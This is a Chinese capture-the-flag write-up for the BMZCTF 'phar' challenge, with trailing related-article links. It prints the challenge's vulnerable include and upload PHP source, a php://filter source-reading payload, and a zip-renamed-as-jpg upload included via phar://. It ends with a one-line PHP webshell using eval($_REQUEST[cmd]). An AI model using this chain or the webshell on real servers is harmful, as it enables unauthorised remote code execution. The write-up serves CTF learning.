• BMZCTF phar???


    pchar???
    补充知识点

    开始这题之前我们先补充一个知识点

    phar 的文件包含 和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面。 然后在文件包含的函数里面 可控的话 ,使用phar://xxxx/xxx 就可以实现文件包含了

    解题

    进入题目查看源码发现一个界面我们去访问看一下

     

     

     

    然后我们在include.php中查看源码又发现一个页面upload.php

     

     

     

     两个页面访问结果如下

     

     

     估计是通过upload.php上传的内容然后通过include.php包含进来,我们先来试试文件包含

     

     

     

    基本确定是文件包含了但是他会在你输入的文件名后面+.php

    既然这样那我们尝试使用php://filter/协议读取源码试试

    include.php?file=php://filter/convert.base64-encode/resource=include

    将源码读出我们进行base64解码得到如下源码

    复制代码
    <html>
    Tips: the parameter is file! :) 
    <!-- upload.php -->
    </html>
    <?php
        @$file = $_GET["file"];
        if(isset($file))
        {
            if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
            {
                echo "<p> error! </p>";
            }
            else
            {
                include($file.'.php');
            }
        }
    ?>
    复制代码

    这里发现过滤掉了http,data,ftp,input,%00,..并且长度不能大于70

    然后我们再去读一下upload.php

    复制代码
    <form action="" enctype="multipart/form-data" method="post" 
    name="upload">file:<input type="file" name="file" /><br> 
    <input type="submit" value="upload" /></form>
    
    <?php
    if(!empty($_FILES["file"]))
    {
        echo $_FILES["file"];
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        @$temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);
        if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
        || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
        || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
        && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
        {
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
        }
        else
        {
            echo "upload failed!";
        }
    }
    ?>
    复制代码

    这里采用白名单过滤的方法进行文件上传再根据题目名称为phar我们来试试

    首先我们写一个

    <?php phpinfo();?>

    然后我们将这个php文件压缩成zip的压缩包

     

     之后将zip压缩包的后缀改为.jpg然后进行上传

     

     上传成功然后我们使用phar进行文件包含

    http://www.bmzclub.cn:23627/include.php?file=phar://upload/1.jpg/1

     

     成功执行下面我们将phpinfo改为木马即可

    <?php    echo "hack!";    eval($_REQUEST[cmd]);?>

     

     上传成功,下面我们使用hackbar执行指令即可

     

  • 相关阅读:
    Python爬虫解析器BeautifulSoup4
    蓝桥杯倒计时47天!DFS基础——图的遍历
    我注册了某音帐号之后。。。(内含推荐算法)
    花儿朵朵-全自动视频混剪,批量剪辑批量剪视频,探店带货系统,精细化顺序混剪,故事影视解说,视频处理大全,精细化顺序混剪,多场景裂变,多视频混剪
    Pandas:如何让你的代码性能飙升
    03-树2 List Leaves
    字符串匹配DP问题合集
    mysql创建触发器
    虾皮shopee获得店铺的所有商品 API 返回值说明
    C++ 手动实现单向循环链表(课后作业版)
  • 原文地址:https://www.cnblogs.com/haohao1/p/16084556.html